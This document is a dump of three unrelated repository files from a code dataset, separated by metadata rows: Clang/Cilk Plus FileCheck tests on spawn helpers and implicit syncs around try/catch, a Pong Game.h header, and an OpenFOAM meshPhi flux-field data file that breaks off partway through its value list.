// CHECK_HELPER_F1: define {{.*}}@{{.*}}helper_stack_frame_test
// CHECK_HELPER_F1: invoke void @[[Helper:__cilk_spawn_helper[0-9]*]]
//
// CHECK_HELPER_F1: define internal void @[[Helper]]
// CHECK_HELPER_F1: alloca %__cilkrts_stack_frame
// CHECK_HELPER_F1: call void @__cilk_reset_worker
//
// Call C's constructor
// CHECK_HELPER_F1: invoke void @_ZN19stack_frame_cleanup1CC1Ev
//
// CHECK_HELPER_F1: call void @__cilk_helper_prologue
// CHECK_HELPER_F1-NEXT: invoke void @_ZN19stack_frame_cleanup2f1INS_1CEEEvT_
//
// * Normal exit *
//
// Call C's destructor
// CHECK_HELPER_F1: call void @_ZN19stack_frame_cleanup1CD1Ev
// CHECK_HELPER_F1: call void @__cilk_helper_epilogue
//
// * Exit due to exception *
//
// CHECK_HELPER_F1: call void @_ZN19stack_frame_cleanup1CD1Ev
// CHECK_HELPER_F1-NEXT: br label
// CHECK_HELPER_F1: call void @__cilk_helper_epilogue
}
void helper_check_assignment() {
int x = 0;
test_f2<int, 37>(x);
// CHECK_HELPER_F2: define {{.*}}@{{.*}}helper_check_assignment
// CHECK_HELPER_F2: invoke void @[[Helper:__cilk_spawn_helper[0-9]*]]
//
// CHECK_HELPER_F2: define internal void @[[Helper]]
// CHECK_HELPER_F2: [[REG:%[a-zA-Z0-9]+]] = getelementptr inbounds %struct
// CHECK_HELPER_F2-NEXT: load i32** [[REG]]
// CHECK_HELPER_F2-NEXT: call void @__cilk_helper_prologue
// CHECK_HELPER_F2-NEXT: [[RET_REG:%[a-zA-Z0-9]+]] = invoke i32 @_ZN19stack_frame_cleanup2f2IiEET_S1_
//
// * Normal exit *
//
// CHECK_HELPER_F2: store i32 [[RET_REG]]
// CHECK_HELPER_F2: call void @__cilk_helper_epilogue
}
void foo();
bool a;
void test3() {
try {
_Cilk_spawn foo();
if (a) {
goto out;
}
} catch (...) {
}
out: return;
// CHECK_SYNC_JUMP: define void @_ZN19stack_frame_cleanup{{[0-9]+}}test3Ev
//
// * Implicit sync while entering the try block
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
//
// * Exit due to exception *
//
// CHECK_SYNC_JUMP: call void @__cilk_excepting_sync
//
// * All normal exits *
// All normal exits go through a single cleanup block, which uses a switch
// to determine which path to continue after the cleanup.
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
}
void test4() {
for (;;) {
try {
_Cilk_spawn foo();
if (a) {
break;
}
} catch (...) {
}
}
// CHECK_SYNC_JUMP: define void @_ZN19stack_frame_cleanup{{[0-9]+}}test4Ev
//
// * Implicit sync while entering the try block
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
//
// * Exit due to exception *
//
// CHECK_SYNC_JUMP: call void @__cilk_excepting_sync
//
// * All normal exits *
// All normal exits go through a single cleanup block, which uses a switch
// to determine which path to continue after the cleanup.
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
}
void test5() {
for (;;) {
try {
_Cilk_spawn foo();
if (a) {
continue;
}
} catch (...) {
}
}
// CHECK_SYNC_JUMP: define void @_ZN19stack_frame_cleanup{{[0-9]+}}test5Ev
//
// * Implicit sync while entering the try block
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
//
// * Exit due to exception *
//
// CHECK_SYNC_JUMP: call void @__cilk_excepting_sync
//
// * All normal exits *
// All normal exits go through a single cleanup block, which uses a switch
// to determine which path to continue after the cleanup.
//
// CHECK_SYNC_JUMP: invoke void @__cilk_sync
}
}
namespace implicit_sync_elision_basic {
void foo();
void bar();
void test1_anchor() throw ();
// No implicit sync for the function
void test1() {
try {
_Cilk_spawn foo();
} catch (...) {
bar();
}
test1_anchor();
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test1Ev
//
// CHECK_IMPLICIT_SYNC: call void @_ZN27implicit_sync_elision_basic12test1_anchorEv
// CHECK_IMPLICIT_SYNC-NEXT: call void @__cilk_parent_epilogue
// CHECK_IMPLICIT_SYNC-NEXT: ret void
}
void test2_anchor() throw ();
// Should have an implicit sync for the function
void test2() {
try {
foo();
} catch (...) {
_Cilk_spawn bar();
}
test2_anchor();
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test2Ev
// CHECK_IMPLICIT_SYNC: call void @_ZN27implicit_sync_elision_basic12test2_anchorEv
// CHECK_IMPLICIT_SYNC-NEXT: invoke void @__cilk_sync
// CHECK_IMPLICIT_SYNC: call void @__cilk_parent_epilogue
// CHECK_IMPLICIT_SYNC-NEXT: ret void
}
void test3_anchor() throw ();
// Should have an implicit sync for the function
void test3() {
try {
_Cilk_spawn foo();
} catch (...) {
_Cilk_spawn bar();
}
test3_anchor();
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test3Ev
// CHECK_IMPLICIT_SYNC: call void @_ZN27implicit_sync_elision_basic12test3_anchorEv
// CHECK_IMPLICIT_SYNC-NEXT: invoke void @__cilk_sync
// CHECK_IMPLICIT_SYNC: call void @__cilk_parent_epilogue
// CHECK_IMPLICIT_SYNC-NEXT: ret void
}
void test4_anchor() throw ();
// No implicit sync for the function
void test4() {
try {
try {
_Cilk_spawn foo();
} catch (...) {
_Cilk_spawn bar();
}
} catch (...) {
bar();
}
test4_anchor();
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test4Ev
// CHECK_IMPLICIT_SYNC: call void @_ZN27implicit_sync_elision_basic12test4_anchorEv
// CHECK_IMPLICIT_SYNC-NEXT: call void @__cilk_parent_epilogue
// CHECK_IMPLICIT_SYNC-NEXT: ret void
}
// No implicit sync exiting try-block
void test5() {
try {
foo();
} catch (...) {
_Cilk_spawn bar();
}
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test5Ev
// CHECK_IMPLICIT_SYNC: invoke void @_ZN27implicit_sync_elision_basic3fooEv()
// CHECK_IMPLICIT_SYNC-NOT: call void @__cilk_sync
// CHECK_IMPLICIT_SYNC: call i8* @__cxa_begin_catch
}
void test6_anchor() throw ();
// No implicit sync for the outer try
void test6() {
try {
foo();
try {
_Cilk_spawn foo();
} catch (...) {
bar();
}
test6_anchor();
} catch (...) {
_Cilk_spawn bar();
bar();
}
// CHECK_IMPLICIT_SYNC: define void @_ZN27implicit_sync_elision_basic5test6Ev
// CHECK_IMPLICIT_SYNC: call void @_ZN27implicit_sync_elision_basic12test6_anchorEv
// CHECK_IMPLICIT_SYNC-NEXT: br
}
} // namespace
namespace misc {
void foo() throw();
void bar() throw();
void baz() throw();
void entering_any_try_block() {
_Cilk_spawn foo();
try { bar(); } catch (...) { }
// CHECK_MISC_IMP_SYNC: define void @_ZN4misc22entering_any_try_blockEv
// CHECK_MISC_IMP_SYNC: invoke void @__cilk_sync
// CHECK_MISC_IMP_SYNC: call void @_ZN4misc3barEv
}
void entering_spawning_try_block() {
try { foo(); _Cilk_spawn bar(); } catch (...) { }
// CHECK_MISC_IMP_SYNC: define void @_ZN4misc27entering_spawning_try_blockEv
// CHECK_MISC_IMP_SYNC: invoke void @__cilk_sync
// CHECK_MISC_IMP_SYNC: call void @_ZN4misc3fooEv
}
void entering_nested_try_block() {
_Cilk_spawn foo();
try {
bar();
try { baz(); } catch (...) { }
} catch (...) { }
// CHECK_MISC_IMP_SYNC: define void @_ZN4misc25entering_nested_try_blockEv
// CHECK_MISC_IMP_SYNC: invoke void @__cilk_sync
// CHECK_MISC_IMP_SYNC: call void @_ZN4misc3barEv
// CHECK_MISC_IMP_SYNC-NEXT: invoke void @__cilk_sync
// CHECK_MISC_IMP_SYNC: call void @_ZN4misc3bazEv
}
namespace spawn_variable_initialization {
struct Class {
Class();
~Class();
};
Class makeClass();
void maybeThrow();
void test_value() {
try {
Class c = _Cilk_spawn makeClass();
} catch (...) { }
// CHECK_INIT: define void @{{.*}}spawn_variable_initialization{{.*}}test_valueEv()
// CHECK_INIT: invoke void @__cilk_spawn_helper
// CHECK_INIT-NOT: ret
//
// Normal exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT-NOT: ret
//
// Exceptional exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT: ret
}
void test_rvalue_ref() {
try {
Class &&c = _Cilk_spawn makeClass();
maybeThrow();
} catch (...) { }
// CHECK_INIT: define void @{{.*}}spawn_variable_initialization{{.*}}test_rvalue_refEv()
// CHECK_INIT: invoke void @__cilk_spawn_helper
// CHECK_INIT-NOT: ret
//
// CHECK_INIT: invoke void @{{.*}}spawn_variable_initialization{{.*}}maybeThrow
//
// Normal exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT-NOT: ret
//
// Exceptional exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT: ret
}
void test_const_ref() {
try {
const Class &c = _Cilk_spawn makeClass();
maybeThrow();
} catch (...) { }
// CHECK_INIT: define void @{{.*}}spawn_variable_initialization{{.*}}test_const_refEv()
// CHECK_INIT: invoke void @__cilk_spawn_helper
// CHECK_INIT-NOT: ret
//
// CHECK_INIT: invoke void @{{.*}}spawn_variable_initialization{{.*}}maybeThrow
//
// Normal exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT-NOT: ret
//
// Exceptional exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT: ret
}
// If the spawn itself fails, don't call the destructor
void test_no_destruct_uninitialized() {
try {
Class &&c = _Cilk_spawn makeClass();
} catch (...) { }
// CHECK_INIT: define void @{{.*}}spawn_variable_initialization{{.*}}test_no_destruct_uninitialized
// CHECK_INIT: invoke void @__cilk_spawn_helper
// CHECK_INIT-NOT: ret
//
// Normal exit:
// CHECK_INIT: call void @{{.*}}ClassD1Ev
// CHECK_INIT-NOT: ret
//
// Exceptional exit:
// CHECK_INIT-NOT: call void @{{.*}}ClassD1Ev
// CHECK_INIT: ret
}
struct Base {
virtual ~Base();
};
struct Derived : public Base {
~Derived();
};
Derived makeDerived();
void test_bind_to_base_type() {
try {
Base &&c = _Cilk_spawn makeDerived();
} catch (...) { }
// CHECK_INIT: define void @{{.*}}spawn_variable_initialization{{.*}}test_bind_to_base_type
// CHECK_INIT: alloca {{.*}}Base"*
// CHECK_INIT: alloca {{.*}}Derived"
// CHECK_INIT: invoke void @__cilk_spawn_helper
// CHECK_INIT-NOT: ret
//
// CHECK_INIT: call void @{{.*}}DerivedD1Ev
}
} // namespace spawn_variable_initialization
} // namespace
|
00f08df165caadb0cd9cec9e5185593213777805 | 199e50aaa8c5b606260532bf85bc38c1608921c6 | /Pong/Game.h | 9ac420221c6939a13d120b5a518e6bf9a9e0aa70 | [] | no_license | JINWOO-0715/NGP_TeamProject | 6e76e815ed7caf4c5ba9478789208347e074e542 | 41434623224d513340ad92eef26dee2380b8e8ee | refs/heads/master | 2023-09-02T23:04:10.625155 | 2021-11-08T06:44:19 | 2021-11-08T06:44:19 | 422,215,348 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 674 | h | Game.h | #pragma once
class Entity;
class Game
{
friend class Entity;
public:
Game();
virtual ~Game() = default;
virtual bool Init();
virtual void Shutdown();
virtual void Run() = 0;
Entity* CreateEntity();
Entity* CreatePaddle();
Entity* CreateBall();
protected:
bool mIsRunning;
entt::registry mRegistry;
const int SERVER_PORT = 9000;
const char* SERVER_IP = "127.0.0.1";
const int WINDOW_WIDTH = 640;
const int WINDOW_HEIGHT = 480;
const float PADDLE_WIDTH = 15.0f;
const float PADDLE_HEIGHT = 100.0f;
const float PADDLE_SPEED = 200.0f;
const float BALL_WIDTH = 15.0f;
const float BALL_SPEED = 150.0f;
unordered_map<uint8_t, Entity*> mEntities;
};
|
24fb88f882e0edd85353068b4df3dbae7f4af213 | 189f52bf5454e724d5acc97a2fa000ea54d0e102 | /pimpleDyMFoam/mixerVesselAMI2D/1.7/meshPhi | 399382972e83c23d7083fbf35bc89c73899fd0b0 | [] | no_license | pyotr777/openfoam_samples | 5399721dd2ef57545ffce68215d09c49ebfe749d | 79c70ac5795decff086dd16637d2d063fde6ed0d | refs/heads/master | 2021-01-12T16:52:18.126648 | 2016-11-05T08:30:29 | 2016-11-05T08:30:29 | 71,456,654 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 47,597 | meshPhi | /*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox |
| \\ / O peration | Version: v1606+ |
| \\ / A nd | Web: www.OpenFOAM.com |
| \\/ M anipulation | |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class surfaceScalarField;
location "1.7";
object meshPhi;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
dimensions [0 3 -1 0 0 0 0];
internalField nonuniform List<scalar>
5856
(
-0.00031226
6.8541e-10
-0.000312259
-4.53416e-09
-0.000312257
2.96041e-09
-0.000312262
2.26709e-09
-0.000312259
-5.2519e-10
-0.000312264
1.85614e-09
-0.000312261
-2.09666e-09
-0.000312262
3.45129e-09
-0.000312261
-2.43748e-09
-0.00031226
-1.34589e-09
-0.000312268
7.68238e-09
-3.29902e-09
-0.000312267
-0.000349002
4.9193e-09
-0.000349
-7.5697e-09
-0.000348996
2.7615e-10
-0.000348999
6.1171e-09
-0.000348993
-5.93745e-09
-0.000348995
3.12073e-09
-0.000348998
2.50275e-10
-0.000348995
1.4193e-10
-0.000348994
-4.60109e-09
-0.000348997
1.00698e-09
-0.000348992
2.40525e-09
1.85948e-09
-0.000348996
-0.000385728
-3.42415e-09
-0.000385737
3.2935e-10
-0.000385741
3.95545e-09
-0.000385729
-5.17503e-09
-0.000385743
7.7771e-09
-0.000385734
-6.92439e-09
-0.000385735
2.49615e-10
-0.000385734
1.7428e-10
-0.000385741
2.10445e-09
-0.000385739
-1.46003e-09
-0.000385736
-1.95291e-09
2.21019e-09
-0.000385734
-0.000422476
4.8148e-09
-0.00042248
5.6321e-09
-0.000422465
-1.06318e-08
-0.000422473
1.37835e-09
-0.000422467
5.7081e-10
-0.000422474
2.23315e-09
-0.000422479
4.99115e-09
-0.000422472
-7.28672e-09
-0.000422461
-6.9594e-09
-0.000422469
8.43025e-09
-0.00042247
-2.19416e-09
1.06133e-08
-0.000422479
-0.000459205
-6.805e-10
-0.000459203
5.818e-09
-0.000459207
-5.76265e-09
-0.000459211
5.906e-09
-0.000459205
-5.53497e-09
-0.000459198
-4.85534e-09
-0.000459199
5.37671e-09
-0.000459212
6.79389e-09
-0.000459216
-3.5145e-09
-0.000459207
-1.0086e-09
-0.000459208
-1.35728e-09
-1.2429e-09
-0.000459197
-0.000495948
8.6456e-09
-0.000495947
4.51345e-09
-0.000495952
-1.4486e-09
-0.000495933
-1.32431e-08
-0.000495953
1.49303e-08
-0.000495958
-1.12872e-09
-0.000495944
-9.39113e-09
-0.000495943
7.3396e-09
-0.000495953
5.44493e-09
-0.00049594
-1.36917e-08
-0.000495944
3.95331e-09
-2.9661e-09
-0.000495942
-0.000532677
-2.6428e-09
-0.000532676
2.9586e-09
-0.000532682
5.0885e-09
-0.000532701
7.121e-09
-0.000532681
-4.3665e-09
-0.00053268
-2.30148e-09
-0.000532691
1.5001e-09
-0.000532681
-2.03859e-09
-0.00053268
3.52066e-09
-0.00053269
-3.95385e-09
-0.000532692
5.38014e-09
-5.24522e-09
-0.000532691
-0.00056943
7.4785e-09
-0.000569412
-1.63912e-08
-0.00056941
1.2093e-09
-0.000569414
1.00148e-08
-0.00056942
4.164e-09
-0.000569422
2.06545e-09
-0.000569417
-3.9291e-09
-0.000569418
-2.1481e-09
-0.000569412
-1.10955e-09
-0.000569417
2.00095e-09
-0.000569407
-3.96733e-09
3.24517e-09
-0.000569416
-0.000606149
7.9287e-09
-0.000606165
-2.10545e-09
-0.000606164
-1.47235e-09
-0.000606159
5.4863e-09
-0.000606149
-6.44375e-09
-0.000606142
-8.7323e-09
-0.000606154
6.04624e-09
-0.000606149
-8.56019e-09
-0.000606152
1.08993e-09
-0.000606161
9.37172e-09
-0.000606156
-1.14683e-08
9.7627e-10
-0.000606151
-0.000642876
-1.13542e-08
-0.000642894
1.62967e-08
-0.000642892
-4.3373e-09
-0.000642876
-7.8277e-09
-0.000642894
1.23354e-08
-0.000642898
-2.0979e-09
-0.000642891
3.4716e-10
-0.000642903
7.25059e-09
-0.000642902
1.44327e-09
-0.000642876
-1.6216e-08
-0.000642892
3.98812e-09
1.59197e-09
-0.00064289
-0.000679643
-9.6707e-09
-0.000679621
-3.8002e-09
-0.000679627
1.75645e-09
-0.000679644
6.2274e-09
-0.00067963
1.026e-10
-0.000679629
-1.9269e-09
-0.000679627
-6.1145e-10
-0.000679627
7.68476e-09
-0.000679612
-1.31306e-08
-0.00067964
1.13973e-08
-0.000679625
-1.13057e-08
1.46115e-08
-0.000679639
-0.000716359
-1.01999e-08
-0.000716368
3.8775e-09
-0.000716373
8.64505e-09
-0.000716357
-1.23618e-08
-0.000716345
-1.26779e-08
-0.000716365
1.57985e-08
-0.000716364
-3.21126e-09
-0.000716365
8.12223e-09
-0.000716376
-6.36235e-10
-0.000716358
-5.83566e-09
-0.000716379
9.10002e-09
-0.000716361
-3.89978e-09
-0.00031226
-2.63695e-09
-0.000312258
-2.92545e-09
-0.00031226
3.91709e-09
-0.000312265
-1.08661e-09
-0.000312262
3.51478e-09
-0.000312268
-2.58041e-09
-0.00031226
-2.81567e-09
-0.000312264
1.25561e-09
-0.000312258
-1.39891e-09
-0.000312264
3.28927e-09
-0.000312266
-3.8158e-09
-5.429e-10
-0.000348997
-3.19544e-09
-0.000349002
1.59112e-09
-0.000348997
-1.42387e-09
-0.000349003
4.82646e-09
-0.000348996
-2.58939e-09
-0.000348998
-1.54081e-09
-0.000349003
3.69102e-09
-0.000349002
-1.37563e-09
-0.000349004
1.78015e-09
-0.000349
-1.34203e-09
-0.000348998
-5.66469e-09
1.82264e-09
-0.000385741
4.54363e-09
-0.000385731
-8.16281e-09
-0.000385733
1.42393e-09
-0.000385732
2.63362e-09
-0.000385733
-1.38051e-09
-0.000385735
-1.96577e-09
-0.000385727
-2.81735e-09
-0.000385728
-3.19113e-09
-0.000385731
6.9516e-09
-0.000385731
-2.70635e-09
-0.000385736
6.59475e-10
2.60697e-09
-0.000422461
-1.41063e-08
-0.000422476
7.12452e-09
-0.000422479
4.83715e-09
-0.000422477
1.37652e-09
-0.00042247
-8.01855e-09
-0.00042248
5.55332e-09
-0.000422478
-4.72416e-09
-0.000422475
-6.80616e-09
-0.00042247
2.18788e-09
-0.00042247
-4.77669e-09
-0.00042247
3.22959e-09
-1.64857e-09
-0.000459215
4.01917e-09
-0.000459213
5.18493e-09
-0.000459207
-2.29498e-09
-0.000459193
-1.10195e-08
-0.000459216
1.66026e-08
-0.000459198
-1.41496e-08
-0.000459206
3.71829e-09
-0.000459208
-3.46357e-09
-0.000459207
2.68319e-09
-0.000459209
-3.10611e-09
-0.000459215
7.23237e-09
-6.5394e-09
-0.000495942
3.39318e-09
-0.00049594
2.98293e-09
-0.000495943
1.32784e-09
-0.00049595
-3.14749e-09
-0.000495944
1.01187e-08
-0.00049594
-1.75413e-08
-0.000495942
7.33334e-09
-0.000495949
3.63324e-09
-0.00049594
-5.1769e-09
-0.000495946
5.62899e-09
-0.000495937
2.7709e-10
-4.94112e-09
-0.00053268
-7.12407e-09
-0.000532675
-8.45935e-10
-0.00053268
3.2012e-09
-0.000532676
-7.8122e-09
-0.00053267
2.70085e-09
-0.000532689
3.31543e-09
-0.000532689
5.79377e-09
-0.000532682
-4.09309e-09
-0.000532691
4.81539e-09
-0.000532674
-1.22899e-08
-0.00053268
5.97384e-09
1.82934e-09
-0.000569428
4.99471e-09
-0.000569423
-4.00558e-09
-0.000569416
-5.89495e-09
-0.000569425
1.95186e-09
-0.000569415
-7.32432e-09
-0.000569415
5.65853e-09
-0.000569414
6.34338e-09
-0.000569411
-8.76278e-09
-0.000569413
6.15335e-09
-0.000569431
7.6877e-09
-0.000569427
6.9521e-10
-3.27589e-09
-0.000606152
4.3506e-09
-0.000606148
-7.55314e-09
-0.000606164
1.28362e-08
-0.000606162
2.757e-10
-0.000606152
-1.70444e-08
-0.000606152
5.59357e-09
-0.000606143
-3.85067e-09
-0.000606155
2.18243e-09
-0.000606154
5.07186e-09
-0.000606146
-2.57235e-09
-0.000606148
2.66532e-09
-2.2534e-09
-0.000642888
4.97751e-09
-0.000642899
3.6934e-09
-0.000642888
3.1995e-09
-0.000642886
-4.49673e-09
-0.000642903
-2.8117e-10
-0.000642901
5.22755e-09
-0.000642901
-6.5938e-09
-0.000642896
-2.63561e-09
-0.000642891
-1.4298e-10
-0.000642894
1.95865e-09
-0.000642899
8.7193e-09
-6.8643e-09
-0.000679624
-1.13842e-08
-0.000679636
1.20514e-08
-0.000679625
-7.7639e-09
-0.000679637
7.46676e-09
-0.000679626
-1.06083e-08
-0.000679625
4.7843e-09
-0.000679625
-6.7233e-09
-0.000679634
6.6819e-09
-0.000679635
1.5695e-09
-0.000679631
-2.10885e-09
-0.000679626
8.2934e-10
8.79615e-09
-0.000716374
3.58643e-09
-0.000716357
-4.13795e-09
-0.000716363
-2.49915e-09
-0.000716359
1.6627e-09
-0.000716363
-8.68812e-09
-0.000716362
4.54361e-09
-0.000716375
6.51686e-09
-0.000716352
-1.90723e-08
-0.000716364
1.49284e-08
-0.000716368
3.74449e-09
-0.000716374
8.29668e-09
-8.04305e-09
-0.00031226
6.8541e-10
-0.000312259
-4.53416e-09
-0.000312257
2.96041e-09
-0.000312262
2.26709e-09
-0.000312259
-5.2519e-10
-0.000312264
1.85614e-09
-0.000312261
-2.09666e-09
-0.000312262
3.45129e-09
-0.000312261
-2.43748e-09
-0.00031226
-1.34589e-09
-0.000312268
7.68238e-09
-3.29902e-09
-0.000312267
-0.000349002
4.9193e-09
-0.000349
-7.5697e-09
-0.000348996
2.7615e-10
-0.000348999
6.1171e-09
-0.000348993
-5.93745e-09
-0.000348995
3.12073e-09
-0.000348998
2.50275e-10
-0.000348995
1.4193e-10
-0.000348994
-4.60109e-09
-0.000348997
1.00698e-09
-0.000348992
2.40525e-09
1.85948e-09
-0.000348996
-0.000385728
-3.42415e-09
-0.000385737
3.2935e-10
-0.000385741
3.95545e-09
-0.000385729
-5.17503e-09
-0.000385743
7.7771e-09
-0.000385734
-6.92439e-09
-0.000385735
2.49615e-10
-0.000385734
1.7428e-10
-0.000385741
2.10445e-09
-0.000385739
-1.46003e-09
-0.000385736
-1.95291e-09
2.21019e-09
-0.000385734
-0.000422476
4.8148e-09
-0.00042248
5.6321e-09
-0.000422465
-1.06318e-08
-0.000422473
1.37835e-09
-0.000422467
5.7081e-10
-0.000422474
2.23315e-09
-0.000422479
4.99115e-09
-0.000422472
-7.28672e-09
-0.000422461
-6.9594e-09
-0.000422469
8.43025e-09
-0.00042247
-2.19416e-09
1.06133e-08
-0.000422479
-0.000459205
-6.805e-10
-0.000459203
5.818e-09
-0.000459207
-5.76265e-09
-0.000459211
5.906e-09
-0.000459205
-5.53497e-09
-0.000459198
-4.85534e-09
-0.000459199
5.37671e-09
-0.000459212
6.79389e-09
-0.000459216
-3.5145e-09
-0.000459207
-1.0086e-09
-0.000459208
-1.35728e-09
-1.2429e-09
-0.000459197
-0.000495948
8.6456e-09
-0.000495947
4.51345e-09
-0.000495952
-1.4486e-09
-0.000495933
-1.32431e-08
-0.000495953
1.49303e-08
-0.000495958
-1.12872e-09
-0.000495944
-9.39113e-09
-0.000495943
7.3396e-09
-0.000495953
5.44493e-09
-0.00049594
-1.36917e-08
-0.000495944
3.95331e-09
-2.9661e-09
-0.000495942
-0.000532677
-2.6428e-09
-0.000532676
2.9586e-09
-0.000532682
5.0885e-09
-0.000532701
7.121e-09
-0.000532681
-4.3665e-09
-0.00053268
-2.30148e-09
-0.000532691
1.5001e-09
-0.000532681
-2.03859e-09
-0.00053268
3.52066e-09
-0.00053269
-3.95385e-09
-0.000532692
5.38014e-09
-5.24522e-09
-0.000532691
-0.00056943
7.4785e-09
-0.000569412
-1.63912e-08
-0.00056941
1.2093e-09
-0.000569414
1.00148e-08
-0.00056942
4.164e-09
-0.000569422
2.06545e-09
-0.000569417
-3.9291e-09
-0.000569418
-2.1481e-09
-0.000569412
-1.10955e-09
-0.000569417
2.00095e-09
-0.000569407
-3.96733e-09
3.24517e-09
-0.000569416
-0.000606149
7.9287e-09
-0.000606165
-2.10545e-09
-0.000606164
-1.47235e-09
-0.000606159
5.4863e-09
-0.000606149
-6.44375e-09
-0.000606142
-8.7323e-09
-0.000606154
6.04624e-09
-0.000606149
-8.56019e-09
-0.000606152
1.08993e-09
-0.000606161
9.37172e-09
-0.000606156
-1.14683e-08
9.7627e-10
-0.000606151
-0.000642876
-1.13542e-08
-0.000642894
1.62967e-08
-0.000642892
-4.3373e-09
-0.000642876
-7.8277e-09
-0.000642894
1.23354e-08
-0.000642898
-2.0979e-09
-0.000642891
3.4716e-10
-0.000642903
7.25059e-09
-0.000642902
1.44327e-09
-0.000642876
-1.6216e-08
-0.000642892
3.98812e-09
1.59197e-09
-0.00064289
-0.000679643
-9.6707e-09
-0.000679621
-3.8002e-09
-0.000679627
1.75645e-09
-0.000679644
6.2274e-09
-0.00067963
1.026e-10
-0.000679629
-1.9269e-09
-0.000679627
-6.1145e-10
-0.000679627
7.68476e-09
-0.000679612
-1.31306e-08
-0.00067964
1.13973e-08
-0.000679625
-1.13057e-08
1.46115e-08
-0.000679639
-0.000716359
-1.01999e-08
-0.000716368
3.8775e-09
-0.000716373
8.64505e-09
-0.000716357
-1.23618e-08
-0.000716345
-1.26779e-08
-0.000716365
1.57985e-08
-0.000716364
-3.21126e-09
-0.000716365
8.12223e-09
-0.000716376
-6.36235e-10
-0.000716358
-5.83566e-09
-0.000716379
9.10002e-09
-0.000716361
-3.89978e-09
-0.00031226
-2.63695e-09
-0.000312258
-2.92545e-09
-0.00031226
3.91709e-09
-0.000312265
-1.08661e-09
-0.000312262
3.51478e-09
-0.000312268
-2.58041e-09
-0.00031226
-2.81567e-09
-0.000312264
1.25561e-09
-0.000312258
-1.39891e-09
-0.000312264
3.28927e-09
-0.000312266
-3.8158e-09
-5.429e-10
-0.000348997
-3.19544e-09
-0.000349002
1.59112e-09
-0.000348997
-1.42387e-09
-0.000349003
4.82646e-09
-0.000348996
-2.58939e-09
-0.000348998
-1.54081e-09
-0.000349003
3.69102e-09
-0.000349002
-1.37563e-09
-0.000349004
1.78015e-09
-0.000349
-1.34203e-09
-0.000348998
-5.66469e-09
1.82264e-09
-0.000385741
4.54363e-09
-0.000385731
-8.16281e-09
-0.000385733
1.42393e-09
-0.000385732
2.63362e-09
-0.000385733
-1.38051e-09
-0.000385735
-1.96577e-09
-0.000385727
-2.81735e-09
-0.000385728
-3.19113e-09
-0.000385731
6.9516e-09
-0.000385731
-2.70635e-09
-0.000385736
6.59475e-10
2.60697e-09
-0.000422461
-1.41063e-08
-0.000422476
7.12452e-09
-0.000422479
4.83715e-09
-0.000422477
1.37652e-09
-0.00042247
-8.01855e-09
-0.00042248
5.55332e-09
-0.000422478
-4.72416e-09
-0.000422475
-6.80616e-09
-0.00042247
2.18788e-09
-0.00042247
-4.77669e-09
-0.00042247
3.22959e-09
-1.64857e-09
-0.000459215
4.01917e-09
-0.000459213
5.18493e-09
-0.000459207
-2.29498e-09
-0.000459193
-1.10195e-08
-0.000459216
1.66026e-08
-0.000459198
-1.41496e-08
-0.000459206
3.71829e-09
-0.000459208
-3.46357e-09
-0.000459207
2.68319e-09
-0.000459209
-3.10611e-09
-0.000459215
7.23237e-09
-6.5394e-09
-0.000495942
3.39318e-09
-0.00049594
2.98293e-09
-0.000495943
1.32784e-09
-0.00049595
-3.14749e-09
-0.000495944
1.01187e-08
-0.00049594
-1.75413e-08
-0.000495942
7.33334e-09
-0.000495949
3.63324e-09
-0.00049594
-5.1769e-09
-0.000495946
5.62899e-09
-0.000495937
2.7709e-10
-4.94112e-09
-0.00053268
-7.12407e-09
-0.000532675
-8.45935e-10
-0.00053268
3.2012e-09
-0.000532676
-7.8122e-09
-0.00053267
2.70085e-09
-0.000532689
3.31543e-09
-0.000532689
5.79377e-09
-0.000532682
-4.09309e-09
-0.000532691
4.81539e-09
-0.000532674
-1.22899e-08
-0.00053268
5.97384e-09
1.82934e-09
-0.000569428
4.99471e-09
-0.000569423
-4.00558e-09
-0.000569416
-5.89495e-09
-0.000569425
1.95186e-09
-0.000569415
-7.32432e-09
-0.000569415
5.65853e-09
-0.000569414
6.34338e-09
-0.000569411
-8.76278e-09
-0.000569413
6.15335e-09
-0.000569431
7.6877e-09
-0.000569427
6.9521e-10
-3.27589e-09
-0.000606152
4.3506e-09
-0.000606148
-7.55314e-09
-0.000606164
1.28362e-08
-0.000606162
2.757e-10
-0.000606152
-1.70444e-08
-0.000606152
5.59357e-09
-0.000606143
-3.85067e-09
-0.000606155
2.18243e-09
-0.000606154
5.07186e-09
-0.000606146
-2.57235e-09
-0.000606148
2.66532e-09
-2.2534e-09
-0.000642888
4.97751e-09
-0.000642899
3.6934e-09
-0.000642888
3.1995e-09
-0.000642886
-4.49673e-09
-0.000642903
-2.8117e-10
-0.000642901
5.22755e-09
-0.000642901
-6.5938e-09
-0.000642896
-2.63561e-09
-0.000642891
-1.4298e-10
-0.000642894
1.95865e-09
-0.000642899
8.7193e-09
-6.8643e-09
-0.000679624
-1.13842e-08
-0.000679636
1.20514e-08
-0.000679625
-7.7639e-09
-0.000679637
7.46676e-09
-0.000679626
-1.06083e-08
-0.000679625
4.7843e-09
-0.000679625
-6.7233e-09
-0.000679634
6.6819e-09
-0.000679635
1.5695e-09
